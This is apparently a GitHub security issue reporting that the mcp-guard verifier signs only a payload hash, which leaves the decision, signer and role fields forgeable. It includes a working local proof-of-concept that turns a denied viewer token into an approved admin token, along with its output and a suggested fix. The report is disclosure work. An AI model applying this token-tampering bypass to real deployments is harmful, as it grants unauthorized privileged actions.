Skip to content

Bypass #36: authorization token fields are mutable outside the Ed25519 signature #60

Description

@caydyan

Refs #36

Summary

The mcp-guard verifier accepts a tampered authorization token because the Ed25519 signature only covers the canonical payload hash, not the authorization metadata that is later trusted for policy enforcement.

In permission-protocol/mcp-guard, src/enforcement/verifier.ts recomputes the payload hash and verifies the signature over only that hash:

const canonicalString = stableStringify(payload);
const recomputedHash = crypto.createHash('sha256').update(canonicalString).digest('hex');

const isValidSig = crypto.verify(
  null,
  Buffer.from(recomputedHash),
  publicKeyPem,
  Buffer.from(token.signature, 'hex')
);

After that, it trusts mutable token fields such as:

  • decision
  • signers
  • roles
  • signed_at
  • expires_at
  • request_id
  • key_id

Those fields are not included in the signed bytes. As a result, the same valid signature for a payload hash can be reused while changing a token from denied/viewer/non-authorized metadata into approved/admin/authorized metadata.

Local PoC

This uses only the public verifier implementation from permission-protocol/mcp-guard and does not attack infrastructure.

npm ci
npm run build
node --input-type=module <<'NODE'
import crypto from 'node:crypto';
import stableStringify from 'fast-json-stable-stringify';
import { verifyAuthorization } from './dist/src/enforcement/verifier.js';

const { publicKey, privateKey } = crypto.generateKeyPairSync('ed25519');
const publicKeyPem = publicKey.export({ type: 'spki', format: 'pem' }).toString();
const now = Math.floor(Date.now() / 1000);

const payload = {
  request_id: 'req-poc-' + Date.now(),
  action: 'deploy_production',
  args: { repo: 'permission-protocol/pp-demo', prNumber: 32, headSha: 'attacker-head' },
  issued_at: now,
  expires_at: now + 600,
  nonce: crypto.randomBytes(8).toString('hex')
};

const payloadHash = crypto.createHash('sha256').update(stableStringify(payload)).digest('hex');
const signature = crypto.sign(null, Buffer.from(payloadHash), privateKey).toString('hex');

const baseToken = {
  request_id: payload.request_id,
  decision: 'denied',
  payload_hash: 'sha256:' + payloadHash,
  signers: ['mallory'],
  roles: ['viewer'],
  signed_at: now,
  expires_at: now + 600,
  key_id: 'pp-prod-1',
  signature
};

const policy = {
  protected: true,
  required_approvals: 1,
  allowed_signers: ['alice'],
  allowed_roles: ['admin'],
  max_ttl_seconds: 3600
};

async function attempt(name, token) {
  try {
    const ok = await verifyAuthorization(payload, token, publicKeyPem, policy, 'pp-prod-1');
    console.log(`${name}: PASS`, ok);
  } catch (err) {
    console.log(`${name}: FAIL`, err.message);
  }
}

await attempt('original denied/viewer token', baseToken);

const tamperedToken = {
  ...baseToken,
  decision: 'approved',
  signers: ['alice'],
  roles: ['admin']
};

await attempt('tampered approved/admin token with same signature', tamperedToken);
console.log('same signature reused:', tamperedToken.signature === baseToken.signature);
NODE

Observed output:

original denied/viewer token: FAIL Invalid decision: denied
tampered approved/admin token with same signature: PASS true
same signature reused: true

The second authorization passes with the exact same Ed25519 signature. Only unsigned token metadata changed.

Impact

If a verifier or /api/v1/receipts/verify path follows this token format, a token signed for the same payload hash can be altered to satisfy a different authorization decision and policy signer/role requirements without producing a new signature.

This is a signing-envelope issue, not a generic Ed25519 issue. Ed25519 verification is working; the signed message is too narrow.

Suggested fix

Sign a stable canonical envelope that includes both the payload binding and all authorization metadata used for enforcement, for example:

{
  "request_id": token.request_id,
  "decision": token.decision,
  "payload_hash": token.payload_hash,
  "signers": token.signers,
  "roles": token.roles,
  "signed_at": token.signed_at,
  "expires_at": token.expires_at,
  "key_id": token.key_id
}

Then verify the signature over that canonical token envelope, and separately assert token.request_id === payload.request_id before policy checks.

Payment details can be provided privately after verification.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions